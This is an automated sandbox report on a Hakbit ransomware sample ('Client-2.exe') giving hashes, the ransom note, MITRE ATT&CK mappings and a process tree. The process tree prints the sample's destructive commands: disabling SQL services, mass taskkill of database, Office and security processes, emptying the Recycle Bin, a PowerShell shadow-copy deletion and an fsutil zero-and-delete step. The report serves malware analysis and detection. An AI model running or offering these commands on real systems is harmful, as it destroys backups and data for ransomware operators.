hakbit | 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b

user interaction
yes
max time kernel
212s
max time network
210s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/03/2026, 02:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Ransomware/Client-2.exe
Size 80KB
Sample260323-cffqcsds9n
SHA256 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b
MD5 8152a3d0d76f7e968597f4f834fdfa9d
SHA1 c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e
SHA512 eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4
SSDEEP 1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0
TLSH
T14B83B6083ADD552CE55BDEB0A9E6646CCE76E1B73121E61B1C4B41830E32AC4DE92F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution hakbit ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

hakbit

Ransom Note

To recover your data contact the email below [email protected] Key Identifier: xdVCMz6oe2NBIfQQ8Psa1LGRQx/4C7XT67oBd74LSMfVbGZ0jaxFBEJ+b36tNXw9rzUDlxjaqXO2W7eN6xPWqkkKk5tD2iXTnAMctlOzpWnRCN28vAtAcf1ER9WERaJASwecn5kqgXPAXPEHDM3aC6KdBf84tqyMbj136Cx6ajd29W+G2i2mBwW2tWR6oj8URF5T7zz7BLbyMrnDzgSh+X+VZix0YVvZ7aGEWmQrL9HOeVChGbhcN7AgTLQ/l5aTTBrU+jO+NB2bpPN5h+IsZ+FfnRVK2OW0SLuiJYVkV/m0qEfEZgmmPmBgSDr0ky0O0rLcj7qAVot3kn5elIc7pWprtli79NlTZCHU8IZGHFau5WcYu0bo/nA+e0T5KL5u5B3xhGQaGjQpF7jU71TNLd5iTqNP2oqT4nu32ppR36ya0WhbT7YmzkFemIgzXMJ3zfe9pQXslFfglxjtbGnVK+Yr16EID1bQeufE+/J4K+/Ntj42bpq2lOqQfnqScnhMGoXb1QqSSvFoPpKegbsFyQcGD8Fu2zoJehvkMK+UaeWt1do6ODXbmURmJPKeDI5bfjmpp3YWMD6CJQITiao3zQLPFy3DjwG+YO5goMYGpHOabuErwpzfnlTO0UHPFELsYf0ccY1SG+JGiVHnw/ylWnJD1bgGZ/XXk7N74j65NJ8= Number of files that were processed is: 433

Emails

[email protected]

Signatures

Hakbit
Ransomware which encrypts files using AES, first seen in November 2019.
ransomware hakbit
Hakbit family
hakbit

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000\Control Panel\International\Geo\Nation	Client-2.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	Client-2.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5064	sc.exe
2260	sc.exe
4672	sc.exe
4380	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5180	cmd.exe
2344	PING.EXE

Kills process with taskkill 47 IoCs

defense_evasion

pid	Process
3404	taskkill.exe
4092	taskkill.exe
3168	taskkill.exe
2256	taskkill.exe
3884	taskkill.exe
3584	taskkill.exe
3540	taskkill.exe
728	taskkill.exe
4344	taskkill.exe
4180	taskkill.exe
1084	taskkill.exe
4936	taskkill.exe
556	taskkill.exe
5012	taskkill.exe
936	taskkill.exe
752	taskkill.exe
4280	taskkill.exe
3548	taskkill.exe
3532	taskkill.exe
3036	taskkill.exe
3828	taskkill.exe
3200	taskkill.exe
4688	taskkill.exe
1640	taskkill.exe
1508	taskkill.exe
3420	taskkill.exe
3944	taskkill.exe
5024	taskkill.exe
2816	taskkill.exe
4580	taskkill.exe
4244	taskkill.exe
5112	taskkill.exe
3956	taskkill.exe
3464	taskkill.exe
2600	taskkill.exe
4008	taskkill.exe
4016	taskkill.exe
2232	taskkill.exe
2004	taskkill.exe
1124	taskkill.exe
1996	taskkill.exe
1056	taskkill.exe
1844	taskkill.exe
4444	taskkill.exe
1568	taskkill.exe
2980	taskkill.exe
1536	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\Local Settings	OpenWith.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

pid	Process
6324	NOTEPAD.EXE
6004	notepad.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2344	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe
3336	Client-2.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	3336	Client-2.exe
Token: SeDebugPrivilege	3944	taskkill.exe
Token: SeDebugPrivilege	1996	taskkill.exe
Token: SeDebugPrivilege	1056	taskkill.exe
Token: SeDebugPrivilege	1124	taskkill.exe
Token: SeDebugPrivilege	4936	taskkill.exe
Token: SeDebugPrivilege	728	taskkill.exe
Token: SeDebugPrivilege	3540	taskkill.exe
Token: SeDebugPrivilege	3464	taskkill.exe
Token: SeDebugPrivilege	5024	taskkill.exe
Token: SeDebugPrivilege	2600	taskkill.exe
Token: SeDebugPrivilege	2980	taskkill.exe
Token: SeDebugPrivilege	4580	taskkill.exe
Token: SeDebugPrivilege	1568	taskkill.exe
Token: SeDebugPrivilege	752	taskkill.exe
Token: SeDebugPrivilege	1084	taskkill.exe
Token: SeDebugPrivilege	5112	taskkill.exe
Token: SeDebugPrivilege	3584	taskkill.exe
Token: SeDebugPrivilege	2816	taskkill.exe
Token: SeDebugPrivilege	1508	taskkill.exe
Token: SeDebugPrivilege	3884	taskkill.exe
Token: SeDebugPrivilege	4444	taskkill.exe
Token: SeDebugPrivilege	4688	taskkill.exe
Token: SeDebugPrivilege	4244	taskkill.exe
Token: SeDebugPrivilege	3420	taskkill.exe
Token: SeDebugPrivilege	2256	taskkill.exe
Token: SeDebugPrivilege	4280	taskkill.exe
Token: SeDebugPrivilege	1844	taskkill.exe
Token: SeDebugPrivilege	4344	taskkill.exe
Token: SeDebugPrivilege	2004	taskkill.exe
Token: SeDebugPrivilege	3168	taskkill.exe
Token: SeDebugPrivilege	3548	taskkill.exe
Token: SeDebugPrivilege	5012	taskkill.exe
Token: SeDebugPrivilege	3828	taskkill.exe
Token: SeDebugPrivilege	556	taskkill.exe
Token: SeDebugPrivilege	3956	taskkill.exe
Token: SeDebugPrivilege	4016	taskkill.exe
Token: SeDebugPrivilege	2232	taskkill.exe
Token: SeDebugPrivilege	4008	taskkill.exe
Token: SeDebugPrivilege	4180	taskkill.exe
Token: SeDebugPrivilege	3404	taskkill.exe
Token: SeDebugPrivilege	4092	taskkill.exe
Token: SeDebugPrivilege	3036	taskkill.exe
Token: SeDebugPrivilege	3532	taskkill.exe
Token: SeDebugPrivilege	936	taskkill.exe
Token: SeDebugPrivilege	1536	taskkill.exe
Token: SeDebugPrivilege	3200	taskkill.exe
Token: SeDebugPrivilege	5092	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3336	Client-2.exe
6004	notepad.exe
6324	NOTEPAD.EXE

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
3336	Client-2.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4580	OpenWith.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 3336 wrote to memory of 5064	3336	Client-2.exe	86
PID 3336 wrote to memory of 4380	3336	Client-2.exe	88
PID 3336 wrote to memory of 4672	3336	Client-2.exe	89
PID 3336 wrote to memory of 2260	3336	Client-2.exe	90
PID 3336 wrote to memory of 1056	3336	Client-2.exe	91
PID 3336 wrote to memory of 1996	3336	Client-2.exe	92
PID 3336 wrote to memory of 3944	3336	Client-2.exe	93
PID 3336 wrote to memory of 728	3336	Client-2.exe	100
PID 3336 wrote to memory of 3540	3336	Client-2.exe	101
PID 3336 wrote to memory of 1124	3336	Client-2.exe	102
PID 3336 wrote to memory of 3464	3336	Client-2.exe	103
PID 3336 wrote to memory of 4936	3336	Client-2.exe	104
PID 3336 wrote to memory of 2600	3336	Client-2.exe	110
PID 3336 wrote to memory of 5024	3336	Client-2.exe	111
PID 3336 wrote to memory of 1892	3336	Client-2.exe	114
PID 3336 wrote to memory of 1568	3336	Client-2.exe	116
PID 3336 wrote to memory of 4580	3336	Client-2.exe	117
PID 3336 wrote to memory of 2816	3336	Client-2.exe	118
PID 3336 wrote to memory of 5112	3336	Client-2.exe	119
PID 3336 wrote to memory of 3584	3336	Client-2.exe	120
PID 3336 wrote to memory of 3420	3336	Client-2.exe	121
PID 3336 wrote to memory of 2004	3336	Client-2.exe	122
PID 3336 wrote to memory of 1508	3336	Client-2.exe	123
PID 3336 wrote to memory of 3884	3336	Client-2.exe	124
PID 3336 wrote to memory of 4444	3336	Client-2.exe	125
PID 3336 wrote to memory of 1640	3336	Client-2.exe	126
PID 3336 wrote to memory of 4688	3336	Client-2.exe	127
PID 3336 wrote to memory of 3200	3336	Client-2.exe	128
PID 3336 wrote to memory of 2256	3336	Client-2.exe	129
PID 3336 wrote to memory of 4244	3336	Client-2.exe	130
PID 3336 wrote to memory of 3548	3336	Client-2.exe	131
PID 3336 wrote to memory of 4280	3336	Client-2.exe	132
PID 3336 wrote to memory of 3168	3336	Client-2.exe	133
PID 3336 wrote to memory of 3828	3336	Client-2.exe	134
PID 3336 wrote to memory of 1844	3336	Client-2.exe	135
PID 3336 wrote to memory of 1084	3336	Client-2.exe	136
PID 3336 wrote to memory of 3036	3336	Client-2.exe	137
PID 3336 wrote to memory of 4092	3336	Client-2.exe	138
PID 3336 wrote to memory of 3404	3336	Client-2.exe	139
PID 3336 wrote to memory of 2232	3336	Client-2.exe	140
PID 3336 wrote to memory of 3532	3336	Client-2.exe	141
PID 3336 wrote to memory of 4180	3336	Client-2.exe	142
PID 3336 wrote to memory of 4344	3336	Client-2.exe	143
PID 3336 wrote to memory of 752	3336	Client-2.exe	144
PID 3336 wrote to memory of 1536	3336	Client-2.exe	145
PID 3336 wrote to memory of 2980	3336	Client-2.exe	146
PID 3336 wrote to memory of 4008	3336	Client-2.exe	147
PID 3336 wrote to memory of 4016	3336	Client-2.exe	148
PID 3336 wrote to memory of 936	3336	Client-2.exe	149
PID 3336 wrote to memory of 3956	3336	Client-2.exe	150
PID 3336 wrote to memory of 5012	3336	Client-2.exe	151
PID 3336 wrote to memory of 556	3336	Client-2.exe	152
PID 3336 wrote to memory of 5092	3336	Client-2.exe	153
PID 3336 wrote to memory of 6004	3336	Client-2.exe	208
PID 3336 wrote to memory of 5180	3336	Client-2.exe	209
PID 3336 wrote to memory of 3660	3336	Client-2.exe	211
PID 5180 wrote to memory of 2344	5180	cmd.exe	213
PID 3660 wrote to memory of 3344	3660	cmd.exe	214
PID 5180 wrote to memory of 2900	5180	cmd.exe	216

C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe
"C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3336
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:5064
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:4380
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:4672
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2260
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1056
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1996
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3944
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:728
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3540
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1124
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3464
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4936
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2600
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5024
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:1892
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1568
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4580
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2816
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5112
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3584
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3420
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1508
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3884
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4444
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:1640
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4688
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3200
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2256
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4244
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3548
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4280
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3168
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3828
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1844
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1084
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3036
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4092
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3404
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2232
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3532
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4180
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4344
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:752
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1536
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2980
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4008
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4016
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:936
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3956
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5012
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5092
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  - Suspicious use of FindShellTrayWindow
  PID:6004
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:5180
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2344
- - C:\Windows\system32\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Ransomware\Client-2.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3660
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:3344

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\HOW_TO_DECYPHER_FILES.txt
1⤵
- Opens file in notepad (likely ransom note)
- Suspicious use of FindShellTrayWindow
PID:6324

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4580

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

edbtmp.log

Path C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log
Size 1.3MB
SHA256 2ccc9c0d62d2a74247f1f9f0d707ab51f286eca6c89cd6d349c0b626af6e7c23
MD5 0ed1fd5677f8ff978c8a42cc05fdbfcc
SHA1 f3d0597d6c5d543ad668c957b3ace40e26743e0e
SHA512 6a6bd8880f84ff2aa8a6a2cf04529111f13c9feb825acb41645ed15ece1bad2d64dc59021e2d832b31e9ef4471ea43821b5a446b47201048691e363a9d384a74
SSDEEP 24576:TMwUiGeqw21lgWDbo1P21qZ1gjnPeQysansEOmYk:TMwUiD85DbFugLiOmf
TLSH
T16B55335D0A12C608E3184EBA6EA5BC8A1C83950617FB7259DCBDF2D10D0EB1F5A61F37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

windowsdesktop-runtime-7.0.16-win-x64.msi

Path C:\ProgramData\Package Cache\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}v56.64.8804\windowsdesktop-runtime-7.0.16-win-x64.msi
Size 28.8MB
SHA256 ad66b4b364bc936cb80a3715a75b2b93d319dfda3332c5c0b5a0a19db8575a8b
MD5 562ec60c8320d61123bc217d5fb351b2
SHA1 3bbb62d39a03e227757abe307bf5d678faba0b1e
SHA512 ef597ac181d45a2a3b0b82d92fc6a1ceb900126823d78874f41c5e8643b90f0f1d69ed5ac93272d10374bf7739f0eb7c13adcccc0fdcfe10f83473e72e55ea28
SSDEEP 786432:FoGsXziUpsgKcYkHoFGSXoSqc1l62HZXrY/EL7:uGsXziUO/cTHocC79rYML7
TLSH
T1FA6733437D615835E5790EB0853EEBA1AA3DED205681C8DB6320B22EDDF21D06F71BD2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dotnet-hostfxr-7.0.16-win-x64.msi.energy[[email protected]]

Path C:\ProgramData\Package Cache\{1B690A4C-381A-40D4-BA4A-3F8ACD5CE797}v56.64.8781\dotnet-hostfxr-7.0.16-win-x64.msi.energy[[email protected]]
Size 804KB
SHA256 0476f441ad7686a9852a54fedce134089b9fb1bb0090f4926f7cb8087a410416
MD5 66a912c7cf2b044f90f353bbfdca494b
SHA1 416792801e95c69ab0d1c5b105f768be870216c3
SHA512 94ef8f13159a9d0ad9d1a00bcfaa92383cfc98d75f4104e1356984f9efecdd704b6aaead058c6606ee21112d7a75760ffe71b70c7aa628eadacd39f341a700bc
SSDEEP 24576:Iu6HSebPWItjvOt3LSs0t4WOPqt3mq/c7h3H:Iu6HSeDWI9vOt3RFNq/c7xH
TLSH
T18605335C4EA7FDE4DE5E1665ED21A718B742E05DB4038F6A8B96C380081B6BBDD04F0E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dotnet-runtime-6.0.27-win-x64.msi

Path C:\ProgramData\Package Cache\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}v48.108.8828\dotnet-runtime-6.0.27-win-x64.msi
Size 25.7MB
SHA256 8731d9ea190f594a5f200f0cacc6e6e79763d4c4d8557c5e3366f9823ff47822
MD5 2314553f449ea5731821d53c106334e4
SHA1 fc2d66d8dcf72b6b79d1299db9f8ae0dae269047
SHA512 c2a3c4ee14b5e8e6bbf2a4679c97e5d15b7b85c0f3c8889e43ed778aeb3c81a9e96eb51caf96acb9e93dc9f5e9c16229259536ffcc27ea04af2448d1e4c14cbf
SSDEEP 786432:k+z0sLF0n7/mzZqEJbaAfCnafSDdzGDip5:AsxU7/mzZJIAfusSpzg2
TLSH
T1A5473323BE861935C4A61E70927ECB611F3AED1017A4ECA7A344784CCCF54D056B6FEA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

